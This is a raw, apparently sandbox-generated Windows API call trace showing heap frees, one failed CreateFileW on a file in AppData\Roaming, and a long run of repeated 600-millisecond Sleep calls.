[0199.971] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0720) returned 0xf9 [0199.971] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0720) returned 1 [0199.971] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b5f90) returned 0x148 [0199.972] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b5f90) returned 1 [0199.972] VirtualFree (lpAddress=0x1e50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.973] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b5d70) returned 0x210 [0199.973] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b5d70) returned 1 [0199.973] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b28a0) returned 0x1008 [0199.974] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b28a0) returned 1 [0199.974] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1890) returned 0x1008 [0199.974] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1890) returned 1 [0199.974] VirtualFree (lpAddress=0x1ea0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.975] VirtualFree (lpAddress=0x1e60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.977] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1840) returned 0x24 [0199.977] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1840) returned 1 [0199.978] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0199.979] Sleep (dwMilliseconds=0x258) [0201.651] Sleep (dwMilliseconds=0x258) [0202.528] Sleep (dwMilliseconds=0x258) [0204.028] Sleep (dwMilliseconds=0x258) [0204.683] Sleep (dwMilliseconds=0x258) [0205.337] Sleep (dwMilliseconds=0x258) [0206.003] Sleep (dwMilliseconds=0x258) [0206.676] Sleep (dwMilliseconds=0x258) [0207.351] Sleep (dwMilliseconds=0x258) [0208.010] Sleep (dwMilliseconds=0x258) [0208.675] Sleep (dwMilliseconds=0x258) [0209.347] Sleep (dwMilliseconds=0x258) [0210.050] Sleep (dwMilliseconds=0x258) [0210.722] Sleep (dwMilliseconds=0x258) [0211.379] Sleep (dwMilliseconds=0x258) [0212.067] Sleep (dwMilliseconds=0x258) [0212.719] Sleep (dwMilliseconds=0x258) [0213.379] Sleep (dwMilliseconds=0x258) [0213.456] Sleep (dwMilliseconds=0x258) [0213.553] Sleep (dwMilliseconds=0x258) [0213.647] Sleep (dwMilliseconds=0x258) [0213.700] Sleep (dwMilliseconds=0x258) [0213.738] Sleep (dwMilliseconds=0x258) [0213.801] Sleep (dwMilliseconds=0x258) [0213.891] Sleep (dwMilliseconds=0x258) [0213.950] Sleep (dwMilliseconds=0x258) [0214.019] Sleep (dwMilliseconds=0x258) [0214.098] Sleep (dwMilliseconds=0x258) [0214.207] Sleep (dwMilliseconds=0x258) [0214.284] Sleep (dwMilliseconds=0x258) [0214.366] Sleep (dwMilliseconds=0x258) [0214.418] Sleep (dwMilliseconds=0x258) [0214.458] Sleep (dwMilliseconds=0x258) [0214.534] Sleep (dwMilliseconds=0x258) [0214.614] Sleep (dwMilliseconds=0x258) [0214.706] Sleep (dwMilliseconds=0x258) [0214.802] Sleep (dwMilliseconds=0x258) [0214.867] Sleep (dwMilliseconds=0x258) [0214.912] Sleep (dwMilliseconds=0x258) [0214.972] Sleep (dwMilliseconds=0x258) [0215.052] Sleep (dwMilliseconds=0x258) [0215.130] Sleep (dwMilliseconds=0x258) [0215.208] Sleep (dwMilliseconds=0x258) [0215.295] Sleep (dwMilliseconds=0x258) [0215.356] Sleep (dwMilliseconds=0x258) [0215.394] Sleep (dwMilliseconds=0x258) [0215.458] Sleep (dwMilliseconds=0x258) [0215.534] Sleep (dwMilliseconds=0x258) [0215.598] Sleep (dwMilliseconds=0x258) [0215.939] Sleep (dwMilliseconds=0x258) [0216.049] Sleep (dwMilliseconds=0x258) [0216.107] Sleep (dwMilliseconds=0x258) [0216.145] Sleep (dwMilliseconds=0x258) [0216.207] Sleep (dwMilliseconds=0x258) [0216.301] Sleep (dwMilliseconds=0x258) [0216.362] Sleep (dwMilliseconds=0x258) [0216.427] Sleep (dwMilliseconds=0x258) [0216.503] Sleep (dwMilliseconds=0x258) [0216.567] Sleep (dwMilliseconds=0x258) [0216.646] Sleep (dwMilliseconds=0x258) [0216.747] Sleep (dwMilliseconds=0x258) [0216.785] Sleep (dwMilliseconds=0x258) [0216.918] Sleep (dwMilliseconds=0x258) [0216.978] Sleep (dwMilliseconds=0x258) [0217.036] Sleep (dwMilliseconds=0x258) [0217.098] Sleep (dwMilliseconds=0x258) [0217.176] Sleep (dwMilliseconds=0x258) [0217.238] Sleep (dwMilliseconds=0x258) [0217.321] Sleep (dwMilliseconds=0x258) [0217.393] Sleep (dwMilliseconds=0x258) [0217.448] Sleep (dwMilliseconds=0x258) [0217.520] Sleep (dwMilliseconds=0x258) [0218.257] Sleep (dwMilliseconds=0x258) [0218.324] Sleep (dwMilliseconds=0x258) [0218.397] Sleep (dwMilliseconds=0x258) [0218.489] Sleep (dwMilliseconds=0x258) [0218.556] Sleep (dwMilliseconds=0x258) [0218.662] Sleep (dwMilliseconds=0x258) [0218.743] Sleep (dwMilliseconds=0x258) [0218.808] Sleep (dwMilliseconds=0x258) [0218.883] Sleep (dwMilliseconds=0x258) [0218.959] Sleep (dwMilliseconds=0x258) [0219.038] Sleep (dwMilliseconds=0x258) [0219.099] Sleep (dwMilliseconds=0x258) [0219.177] Sleep (dwMilliseconds=0x258) [0219.292] Sleep (dwMilliseconds=0x258) [0219.354] Sleep (dwMilliseconds=0x258) [0219.427] Sleep (dwMilliseconds=0x258) [0219.489] Sleep (dwMilliseconds=0x258) [0219.570] Sleep (dwMilliseconds=0x258) [0219.712] Sleep (dwMilliseconds=0x258) [0219.790] Sleep (dwMilliseconds=0x258) [0219.874] Sleep (dwMilliseconds=0x258) [0219.973] Sleep (dwMilliseconds=0x258) [0220.052] Sleep (dwMilliseconds=0x258) [0220.113] Sleep (dwMilliseconds=0x258) [0220.228] Sleep (dwMilliseconds=0x258) [0220.308] Sleep (dwMilliseconds=0x258) [0220.385] Sleep (dwMilliseconds=0x258) [0220.547] Sleep (dwMilliseconds=0x258) [0220.637] Sleep (dwMilliseconds=0x258) [0220.711] Sleep (dwMilliseconds=0x258) [0220.818] Sleep (dwMilliseconds=0x258) [0220.896] Sleep (dwMilliseconds=0x258) [0221.007] Sleep (dwMilliseconds=0x258) [0221.098] Sleep (dwMilliseconds=0x258) [0221.192] Sleep (dwMilliseconds=0x258) [0221.316] Sleep (dwMilliseconds=0x258) [0221.412] Sleep (dwMilliseconds=0x258) [0221.472] Sleep (dwMilliseconds=0x258) [0221.552] Sleep (dwMilliseconds=0x258) [0221.889] Sleep (dwMilliseconds=0x258) [0221.974] Sleep (dwMilliseconds=0x258) [0222.066] Sleep (dwMilliseconds=0x258) [0222.177] Sleep (dwMilliseconds=0x258) [0222.288] Sleep (dwMilliseconds=0x258) [0222.373] Sleep (dwMilliseconds=0x258) [0222.456] Sleep (dwMilliseconds=0x258) [0222.552] Sleep (dwMilliseconds=0x258) [0222.644] Sleep (dwMilliseconds=0x258) [0222.739] Sleep (dwMilliseconds=0x258) [0222.835] Sleep (dwMilliseconds=0x258) [0222.926] Sleep (dwMilliseconds=0x258) [0223.019] Sleep (dwMilliseconds=0x258) [0223.115] Sleep (dwMilliseconds=0x258) [0223.191] Sleep (dwMilliseconds=0x258) [0223.317] Sleep (dwMilliseconds=0x258) [0223.409] Sleep (dwMilliseconds=0x258) [0223.505] Sleep (dwMilliseconds=0x258) [0223.588] Sleep (dwMilliseconds=0x258) [0223.631] Sleep (dwMilliseconds=0x258) [0223.722] Sleep (dwMilliseconds=0x258) [0223.817] Sleep (dwMilliseconds=0x258) [0223.910] Sleep (dwMilliseconds=0x258) [0224.004] Sleep (dwMilliseconds=0x258) [0224.065] Sleep (dwMilliseconds=0x258) [0224.131] Sleep (dwMilliseconds=0x258) [0224.237] Sleep (dwMilliseconds=0x258) [0224.333] Sleep (dwMilliseconds=0x258) [0224.425] Sleep (dwMilliseconds=0x258) [0224.504] Sleep (dwMilliseconds=0x258) [0224.598] Sleep (dwMilliseconds=0x258) [0224.692] Sleep (dwMilliseconds=0x258) [0224.785] Sleep (dwMilliseconds=0x258) [0224.880] Sleep (dwMilliseconds=0x258) [0224.956] Sleep (dwMilliseconds=0x258) [0225.052] Sleep (dwMilliseconds=0x258) [0225.159] Sleep (dwMilliseconds=0x258) [0225.349] Sleep (dwMilliseconds=0x258) [0225.425] Sleep (dwMilliseconds=0x258) [0225.505] Sleep (dwMilliseconds=0x258) [0225.568] Sleep (dwMilliseconds=0x258) [0225.632] Sleep (dwMilliseconds=0x258) [0225.706] Sleep (dwMilliseconds=0x258) [0225.786] Sleep (dwMilliseconds=0x258) [0225.863] Sleep (dwMilliseconds=0x258) [0225.942] Sleep (dwMilliseconds=0x258) [0226.020] Sleep (dwMilliseconds=0x258) [0226.099] Sleep (dwMilliseconds=0x258) [0226.189] Sleep (dwMilliseconds=0x258) [0226.298] Sleep (dwMilliseconds=0x258) [0226.445] Sleep (dwMilliseconds=0x258) [0226.537] Sleep (dwMilliseconds=0x258) [0226.593] Sleep (dwMilliseconds=0x258) [0226.629] Sleep (dwMilliseconds=0x258) [0226.707] Sleep (dwMilliseconds=0x258) [0226.786] Sleep (dwMilliseconds=0x258) [0226.862] Sleep (dwMilliseconds=0x258) [0226.943] Sleep (dwMilliseconds=0x258) [0227.035] Sleep (dwMilliseconds=0x258) [0227.114] Sleep (dwMilliseconds=0x258) [0227.202] Sleep (dwMilliseconds=0x258) [0227.310] Sleep (dwMilliseconds=0x258) [0227.393] Sleep (dwMilliseconds=0x258) [0227.483] Sleep (dwMilliseconds=0x258) [0227.526] Sleep (dwMilliseconds=0x258) [0227.570] Sleep (dwMilliseconds=0x258) [0227.851] Sleep (dwMilliseconds=0x258) [0227.928] Sleep (dwMilliseconds=0x258) [0228.019] Sleep (dwMilliseconds=0x258) [0228.115] Sleep (dwMilliseconds=0x258) [0228.191] Sleep (dwMilliseconds=0x258) [0228.318] Sleep (dwMilliseconds=0x258) [0228.401] Sleep (dwMilliseconds=0x258) [0228.486] Sleep (dwMilliseconds=0x258) [0228.567] Sleep (dwMilliseconds=0x258) [0228.649] Sleep (dwMilliseconds=0x258) [0228.727] Sleep (dwMilliseconds=0x258) [0228.777] Sleep (dwMilliseconds=0x258) [0228.887] Sleep (dwMilliseconds=0x258) [0229.021] Sleep (dwMilliseconds=0x258) [0229.265] Sleep (dwMilliseconds=0x258) [0229.422] Sleep (dwMilliseconds=0x258) [0229.521] Sleep (dwMilliseconds=0x258) [0229.688] Sleep (dwMilliseconds=0x258) [0229.844] Sleep (dwMilliseconds=0x258) [0229.957] Sleep (dwMilliseconds=0x258) [0230.039] Sleep (dwMilliseconds=0x258) [0230.133] Sleep (dwMilliseconds=0x258) [0230.265] Sleep (dwMilliseconds=0x258) [0230.349] Sleep (dwMilliseconds=0x258) [0230.445] Sleep (dwMilliseconds=0x258) [0230.649] Sleep (dwMilliseconds=0x258) [0230.800] Sleep (dwMilliseconds=0x258) [0230.949] Sleep (dwMilliseconds=0x258) [0231.055] Sleep (dwMilliseconds=0x258) [0231.326] Sleep (dwMilliseconds=0x258) [0231.459] Sleep (dwMilliseconds=0x258) [0231.555] Sleep (dwMilliseconds=0x258) [0231.632] Sleep (dwMilliseconds=0x258) [0231.720] Sleep (dwMilliseconds=0x258) [0231.801] Sleep (dwMilliseconds=0x258) [0231.905] Sleep (dwMilliseconds=0x258) [0231.986] Sleep (dwMilliseconds=0x258) [0232.088] Sleep (dwMilliseconds=0x258) [0232.169] Sleep (dwMilliseconds=0x258) [0232.257] Sleep (dwMilliseconds=0x258) [0232.366] Sleep (dwMilliseconds=0x258) [0232.458] Sleep (dwMilliseconds=0x258) [0232.552] Sleep (dwMilliseconds=0x258) [0232.644] Sleep (dwMilliseconds=0x258) [0232.790] Sleep (dwMilliseconds=0x258) [0232.907] Sleep (dwMilliseconds=0x258) [0233.013] Sleep (dwMilliseconds=0x258) [0233.099] Sleep (dwMilliseconds=0x258) [0233.191] Sleep (dwMilliseconds=0x258) [0233.317] Sleep (dwMilliseconds=0x258) [0233.364] Sleep (dwMilliseconds=0x258) [0233.414] Sleep (dwMilliseconds=0x258) [0233.512] Sleep (dwMilliseconds=0x258) [0233.786] Sleep (dwMilliseconds=0x258) [0233.879] Sleep (dwMilliseconds=0x258) [0233.975] Sleep (dwMilliseconds=0x258) [0234.079] Sleep (dwMilliseconds=0x258) [0234.131] Sleep (dwMilliseconds=0x258) [0234.230] Sleep (dwMilliseconds=0x258) [0234.382] Sleep (dwMilliseconds=0x258) [0234.476] Sleep (dwMilliseconds=0x258) [0234.568] Sleep (dwMilliseconds=0x258) [0234.662] Sleep (dwMilliseconds=0x258) [0234.771] Sleep (dwMilliseconds=0x258) [0234.864] Sleep (dwMilliseconds=0x258) [0234.957] Sleep (dwMilliseconds=0x258) [0235.054] Sleep (dwMilliseconds=0x258) [0235.132] Sleep (dwMilliseconds=0x258) [0235.209] Sleep (dwMilliseconds=0x258) [0235.332] Sleep (dwMilliseconds=0x258) [0235.427] Sleep (dwMilliseconds=0x258) [0235.528] Sleep (dwMilliseconds=0x258) [0235.617] Sleep (dwMilliseconds=0x258) [0235.692] Sleep (dwMilliseconds=0x258) [0235.787] Sleep (dwMilliseconds=0x258) [0235.883] Sleep (dwMilliseconds=0x258) [0236.023] Sleep (dwMilliseconds=0x258) [0236.113] Sleep (dwMilliseconds=0x258) [0236.201] Sleep (dwMilliseconds=0x258) [0236.301] Sleep (dwMilliseconds=0x258) [0236.398] Sleep (dwMilliseconds=0x258) [0236.488] Sleep (dwMilliseconds=0x258) [0236.584] Sleep (dwMilliseconds=0x258) [0236.676] Sleep (dwMilliseconds=0x258) [0236.770] Sleep (dwMilliseconds=0x258) [0236.847] Sleep (dwMilliseconds=0x258) [0236.958] Sleep (dwMilliseconds=0x258) [0237.051] Sleep (dwMilliseconds=0x258) [0237.193] Sleep (dwMilliseconds=0x258) [0237.299] Sleep (dwMilliseconds=0x258) [0237.395] Sleep (dwMilliseconds=0x258) [0237.488] Sleep (dwMilliseconds=0x258) [0237.583] Sleep (dwMilliseconds=0x258) [0237.676] Sleep (dwMilliseconds=0x258) [0237.726] Sleep (dwMilliseconds=0x258) [0237.769] Sleep (dwMilliseconds=0x258) [0237.848] Sleep (dwMilliseconds=0x258) [0237.942] Sleep (dwMilliseconds=0x258) [0238.036] Sleep (dwMilliseconds=0x258) [0238.136] Sleep (dwMilliseconds=0x258) [0238.208] Sleep (dwMilliseconds=0x258) [0238.347] Sleep (dwMilliseconds=0x258) [0238.427] Sleep (dwMilliseconds=0x258) [0238.519] Sleep (dwMilliseconds=0x258) [0238.599] Sleep (dwMilliseconds=0x258) [0238.675] Sleep (dwMilliseconds=0x258) [0238.755] Sleep (dwMilliseconds=0x258) [0238.851] Sleep (dwMilliseconds=0x258) [0238.926] Sleep (dwMilliseconds=0x258) [0239.023] Sleep (dwMilliseconds=0x258) [0239.116] Sleep (dwMilliseconds=0x258) [0239.177] Sleep (dwMilliseconds=0x258) [0239.239] Sleep (dwMilliseconds=0x258) [0239.349] Sleep (dwMilliseconds=0x258) [0239.426] Sleep (dwMilliseconds=0x258) [0239.659] Sleep (dwMilliseconds=0x258) [0239.755] Sleep (dwMilliseconds=0x258) [0239.831] Sleep (dwMilliseconds=0x258) [0239.907] Sleep (dwMilliseconds=0x258) [0239.997] Sleep (dwMilliseconds=0x258) [0240.075] Sleep (dwMilliseconds=0x258) [0240.167] Sleep (dwMilliseconds=0x258) [0240.283] Sleep (dwMilliseconds=0x258) [0240.352] Sleep (dwMilliseconds=0x258) [0240.416] Sleep (dwMilliseconds=0x258) [0240.457] Sleep (dwMilliseconds=0x258) [0240.520] Sleep (dwMilliseconds=0x258) [0240.613] Sleep (dwMilliseconds=0x258) [0240.754] Sleep (dwMilliseconds=0x258) [0240.847] Sleep (dwMilliseconds=0x258) [0240.942] Sleep (dwMilliseconds=0x258) [0241.019] Sleep (dwMilliseconds=0x258) [0241.115] Sleep (dwMilliseconds=0x258) [0241.216] Sleep (dwMilliseconds=0x258) [0241.322] Sleep (dwMilliseconds=0x258) [0241.400] Sleep (dwMilliseconds=0x258) [0241.489] Sleep (dwMilliseconds=0x258) [0241.539] Sleep (dwMilliseconds=0x258) [0241.595] Sleep (dwMilliseconds=0x258) [0241.682] Sleep (dwMilliseconds=0x258) [0241.778] Sleep (dwMilliseconds=0x258) [0241.915] Sleep (dwMilliseconds=0x258) [0242.012] Sleep (dwMilliseconds=0x258) [0242.106] Sleep (dwMilliseconds=0x258) [0242.165] Sleep (dwMilliseconds=0x258) [0242.229] Sleep (dwMilliseconds=0x258) [0242.333] Sleep (dwMilliseconds=0x258) [0242.409] Sleep (dwMilliseconds=0x258) [0242.489] Sleep (dwMilliseconds=0x258) [0242.581] Sleep (dwMilliseconds=0x258) [0242.661] Sleep (dwMilliseconds=0x258) [0242.740] Sleep (dwMilliseconds=0x258) [0242.829] Sleep (dwMilliseconds=0x258) [0242.906] Sleep (dwMilliseconds=0x258) [0242.980] Sleep (dwMilliseconds=0x258) [0243.108] Sleep (dwMilliseconds=0x258) [0243.145] Sleep (dwMilliseconds=0x258) [0243.207] Sleep (dwMilliseconds=0x258) [0243.301] Sleep (dwMilliseconds=0x258) [0243.379] Sleep (dwMilliseconds=0x258) [0243.473] Sleep (dwMilliseconds=0x258) [0243.550] Sleep (dwMilliseconds=0x258) [0243.614] Sleep (dwMilliseconds=0x258) [0243.691] Sleep (dwMilliseconds=0x258) [0243.771] Sleep (dwMilliseconds=0x258) [0243.847] Sleep (dwMilliseconds=0x258) [0243.926] Sleep (dwMilliseconds=0x258) [0244.004] Sleep (dwMilliseconds=0x258) [0244.101] Sleep (dwMilliseconds=0x258) [0244.191] Sleep (dwMilliseconds=0x258) [0244.380] Sleep (dwMilliseconds=0x258) [0244.473] Sleep (dwMilliseconds=0x258) [0244.568] Sleep (dwMilliseconds=0x258) [0244.644] Sleep (dwMilliseconds=0x258) [0244.692] Sleep (dwMilliseconds=0x258) [0244.753] Sleep (dwMilliseconds=0x258) [0244.848] Sleep (dwMilliseconds=0x258) [0244.941] Sleep (dwMilliseconds=0x258) [0245.036] Sleep (dwMilliseconds=0x258) [0245.144] Sleep (dwMilliseconds=0x258) [0245.224] Sleep (dwMilliseconds=0x258) [0245.332] Sleep (dwMilliseconds=0x258) [0245.567] Sleep (dwMilliseconds=0x258) [0245.660] Sleep (dwMilliseconds=0x258) [0245.749] Sleep (dwMilliseconds=0x258) [0245.785] Sleep (dwMilliseconds=0x258) [0245.884] Sleep (dwMilliseconds=0x258) [0245.973] Sleep (dwMilliseconds=0x258) [0246.068] Sleep (dwMilliseconds=0x258) [0246.160] Sleep (dwMilliseconds=0x258) [0246.225] Sleep (dwMilliseconds=0x258) [0246.316] Sleep (dwMilliseconds=0x258) [0246.411] Sleep (dwMilliseconds=0x258) [0246.507] Sleep (dwMilliseconds=0x258) [0246.646] Sleep (dwMilliseconds=0x258) [0246.739] Sleep (dwMilliseconds=0x258) [0246.817] Sleep (dwMilliseconds=0x258) [0246.894] Sleep (dwMilliseconds=0x258) [0246.990] Sleep (dwMilliseconds=0x258) [0247.081] Sleep (dwMilliseconds=0x258) [0247.177] Sleep (dwMilliseconds=0x258) [0247.224] Sleep (dwMilliseconds=0x258) [0247.286] Sleep (dwMilliseconds=0x258) [0247.380] Sleep (dwMilliseconds=0x258) [0247.473] Sleep (dwMilliseconds=0x258) [0247.566] Sleep (dwMilliseconds=0x258) [0247.662] Sleep (dwMilliseconds=0x258) [0247.738] Sleep (dwMilliseconds=0x258) [0247.864] Sleep (dwMilliseconds=0x258) [0247.956] Sleep (dwMilliseconds=0x258) [0248.051] Sleep (dwMilliseconds=0x258) [0248.144] Sleep (dwMilliseconds=0x258) [0248.225] Sleep (dwMilliseconds=0x258) [0248.333] Sleep (dwMilliseconds=0x258) [0248.427] Sleep (dwMilliseconds=0x258) [0248.519] Sleep (dwMilliseconds=0x258) [0248.633] Sleep (dwMilliseconds=0x258) [0248.722] Sleep (dwMilliseconds=0x258) [0248.786] Sleep (dwMilliseconds=0x258) [0248.847] Sleep (dwMilliseconds=0x258) [0248.942] Sleep (dwMilliseconds=0x258) [0249.036] Sleep (dwMilliseconds=0x258) [0249.130] Sleep (dwMilliseconds=0x258) [0249.223] Sleep (dwMilliseconds=0x258) [0249.348] Sleep (dwMilliseconds=0x258) [0249.410] Sleep (dwMilliseconds=0x258) [0249.490] Sleep (dwMilliseconds=0x258) [0249.589] Sleep (dwMilliseconds=0x258) [0249.708] Sleep (dwMilliseconds=0x258) [0249.822] Sleep (dwMilliseconds=0x258) [0249.926] Sleep (dwMilliseconds=0x258) [0250.019] Sleep (dwMilliseconds=0x258) [0250.114] Sleep (dwMilliseconds=0x258) [0250.341] Sleep (dwMilliseconds=0x258) [0250.443] Sleep (dwMilliseconds=0x258) [0250.534] Sleep (dwMilliseconds=0x258) [0250.629] Sleep (dwMilliseconds=0x258) [0250.691] Sleep (dwMilliseconds=0x258) [0250.755] Sleep (dwMilliseconds=0x258) [0250.847] Sleep (dwMilliseconds=0x258) [0250.926] Sleep (dwMilliseconds=0x258) [0251.020] Sleep (dwMilliseconds=0x258) [0251.106] Sleep (dwMilliseconds=0x258) [0251.159] Sleep (dwMilliseconds=0x258) [0251.239] Sleep (dwMilliseconds=0x258) [0251.472] Sleep (dwMilliseconds=0x258) [0251.552] Sleep (dwMilliseconds=0x258) [0251.630] Sleep (dwMilliseconds=0x258) [0251.708] Sleep (dwMilliseconds=0x258) [0251.792] Sleep (dwMilliseconds=0x258) [0251.881] Sleep (dwMilliseconds=0x258) [0251.972] Sleep (dwMilliseconds=0x258) [0252.067] Sleep (dwMilliseconds=0x258) [0252.159] Sleep (dwMilliseconds=0x258) [0252.225] Sleep (dwMilliseconds=0x258) [0252.285] Sleep (dwMilliseconds=0x258) [0252.395] Sleep (dwMilliseconds=0x258) [0252.473] Sleep (dwMilliseconds=0x258) [0252.599] Sleep (dwMilliseconds=0x258) [0252.676] Sleep (dwMilliseconds=0x258) [0252.754] Sleep (dwMilliseconds=0x258) [0252.834] Sleep (dwMilliseconds=0x258) [0252.922] Sleep (dwMilliseconds=0x258) [0252.993] Sleep (dwMilliseconds=0x258) [0253.069] Sleep (dwMilliseconds=0x258) [0253.131] Sleep (dwMilliseconds=0x258) [0253.178] Sleep (dwMilliseconds=0x258) [0253.254] Sleep (dwMilliseconds=0x258) [0253.358] Sleep (dwMilliseconds=0x258) [0253.441] Sleep (dwMilliseconds=0x258) [0253.522] Sleep (dwMilliseconds=0x258) [0253.598] Sleep (dwMilliseconds=0x258) [0253.677] Sleep (dwMilliseconds=0x258) [0253.769] Sleep (dwMilliseconds=0x258) [0253.855] Sleep (dwMilliseconds=0x258) [0253.938] Sleep (dwMilliseconds=0x258) [0254.020] Sleep (dwMilliseconds=0x258) [0254.110] Sleep (dwMilliseconds=0x258) [0254.160] Sleep (dwMilliseconds=0x258) [0254.254] Sleep (dwMilliseconds=0x258) [0254.348] Sleep (dwMilliseconds=0x258) [0254.441] Sleep (dwMilliseconds=0x258) [0254.547] Sleep (dwMilliseconds=0x258) [0254.628] Sleep (dwMilliseconds=0x258) [0254.713] Sleep (dwMilliseconds=0x258) [0254.796] Sleep (dwMilliseconds=0x258) [0254.960] Sleep (dwMilliseconds=0x258) [0255.058] Sleep (dwMilliseconds=0x258) [0255.149] Sleep (dwMilliseconds=0x258) [0255.192] Sleep (dwMilliseconds=0x258) [0255.269] Sleep (dwMilliseconds=0x258) [0255.364] Sleep (dwMilliseconds=0x258) [0255.456] Sleep (dwMilliseconds=0x258) [0255.535] Sleep (dwMilliseconds=0x258) [0255.598] Sleep (dwMilliseconds=0x258) [0255.676] Sleep (dwMilliseconds=0x258) [0255.753] Sleep (dwMilliseconds=0x258) [0255.851] Sleep (dwMilliseconds=0x258) [0255.957] Sleep (dwMilliseconds=0x258) [0256.051] Sleep (dwMilliseconds=0x258) [0256.206] Sleep (dwMilliseconds=0x258) [0256.290] Sleep (dwMilliseconds=0x258) [0256.395] Sleep (dwMilliseconds=0x258) [0256.489] Sleep (dwMilliseconds=0x258) [0256.581] Sleep (dwMilliseconds=0x258) [0256.677] Sleep (dwMilliseconds=0x258) [0256.769] Sleep (dwMilliseconds=0x258) [0256.853] Sleep (dwMilliseconds=0x258) [0256.926] Sleep (dwMilliseconds=0x258) [0257.020] Sleep (dwMilliseconds=0x258) [0257.113] Sleep (dwMilliseconds=0x258) [0257.209] Sleep (dwMilliseconds=0x258) [0257.425] Sleep (dwMilliseconds=0x258) [0257.489] Sleep (dwMilliseconds=0x258) [0257.551] Sleep (dwMilliseconds=0x258) [0257.645] Sleep (dwMilliseconds=0x258) [0257.738] Sleep (dwMilliseconds=0x258) [0257.832] Sleep (dwMilliseconds=0x258) [0257.910] Sleep (dwMilliseconds=0x258) [0258.004] Sleep (dwMilliseconds=0x258) [0258.106] Sleep (dwMilliseconds=0x258) [0258.192] Sleep (dwMilliseconds=0x258) [0258.285] Sleep (dwMilliseconds=0x258) [0258.411] Sleep (dwMilliseconds=0x258) [0258.472] Sleep (dwMilliseconds=0x258) [0258.585] Sleep (dwMilliseconds=0x258) [0258.675] Sleep (dwMilliseconds=0x258) [0258.771] Sleep (dwMilliseconds=0x258) [0258.864] Sleep (dwMilliseconds=0x258) [0258.958] Sleep (dwMilliseconds=0x258) [0259.019] Sleep (dwMilliseconds=0x258) [0259.084] Sleep (dwMilliseconds=0x258) [0259.175] Sleep (dwMilliseconds=0x258) [0259.271] Sleep (dwMilliseconds=0x258) [0259.377] Sleep (dwMilliseconds=0x258) [0259.474] Sleep (dwMilliseconds=0x258) [0259.566] Sleep (dwMilliseconds=0x258) [0259.650] Sleep (dwMilliseconds=0x258) [0259.738] Sleep (dwMilliseconds=0x258) [0259.832] Sleep (dwMilliseconds=0x258) [0259.925] Sleep (dwMilliseconds=0x258) [0259.992] Sleep (dwMilliseconds=0x258) [0260.043] Sleep (dwMilliseconds=0x258) [0260.119] Sleep (dwMilliseconds=0x258) [0260.208] Sleep (dwMilliseconds=0x258) [0260.306] Sleep (dwMilliseconds=0x258) [0260.429] Sleep (dwMilliseconds=0x258) [0260.517] Sleep (dwMilliseconds=0x258) [0260.619] Sleep (dwMilliseconds=0x258) [0260.660] Sleep (dwMilliseconds=0x258) [0260.755] Sleep (dwMilliseconds=0x258) [0260.894] Sleep (dwMilliseconds=0x258) [0260.990] Sleep (dwMilliseconds=0x258) [0261.081] Sleep (dwMilliseconds=0x258) [0261.176] Sleep (dwMilliseconds=0x258) [0261.270] Sleep (dwMilliseconds=0x258) [0261.364] Sleep (dwMilliseconds=0x258) [0261.455] Sleep (dwMilliseconds=0x258) [0261.520] Sleep (dwMilliseconds=0x258) [0261.613] Sleep (dwMilliseconds=0x258) [0261.709] Sleep (dwMilliseconds=0x258) [0261.800] Sleep (dwMilliseconds=0x258) [0261.897] Sleep (dwMilliseconds=0x258) [0261.942] Sleep (dwMilliseconds=0x258) [0261.989] Sleep (dwMilliseconds=0x258) [0262.169] Sleep (dwMilliseconds=0x258) [0262.255] Sleep (dwMilliseconds=0x258) [0262.331] Sleep (dwMilliseconds=0x258) [0262.442] Sleep (dwMilliseconds=0x258) [0262.535] Sleep (dwMilliseconds=0x258) [0262.629] Sleep (dwMilliseconds=0x258) [0262.722] Sleep (dwMilliseconds=0x258) [0262.814] Sleep (dwMilliseconds=0x258) [0262.896] Sleep (dwMilliseconds=0x258) [0262.983] Sleep (dwMilliseconds=0x258) [0263.026] Sleep (dwMilliseconds=0x258) [0263.067] Sleep (dwMilliseconds=0x258) [0263.145] Sleep (dwMilliseconds=0x258) [0263.301] Sleep (dwMilliseconds=0x258) [0263.400] Sleep (dwMilliseconds=0x258) [0263.490] Sleep (dwMilliseconds=0x258) [0263.566] Sleep (dwMilliseconds=0x258) [0263.646] Sleep (dwMilliseconds=0x258) [0263.738] Sleep (dwMilliseconds=0x258) [0263.845] Sleep (dwMilliseconds=0x258) [0263.928] Sleep (dwMilliseconds=0x258) [0264.020] Sleep (dwMilliseconds=0x258) [0264.113] Sleep (dwMilliseconds=0x258) [0264.183] Sleep (dwMilliseconds=0x258) [0264.223] Sleep (dwMilliseconds=0x258) [0264.287] Sleep (dwMilliseconds=0x258) [0264.363] Sleep (dwMilliseconds=0x258) [0264.473] Sleep (dwMilliseconds=0x258) [0264.567] Sleep (dwMilliseconds=0x258) [0264.662] Sleep (dwMilliseconds=0x258) [0264.753] Sleep (dwMilliseconds=0x258) [0264.849] Sleep (dwMilliseconds=0x258) [0264.922] Sleep (dwMilliseconds=0x258) [0264.995] Sleep (dwMilliseconds=0x258) [0265.074] Sleep (dwMilliseconds=0x258) [0265.175] Sleep (dwMilliseconds=0x258) [0265.267] Sleep (dwMilliseconds=0x258) [0265.338] Sleep (dwMilliseconds=0x258) [0265.393] 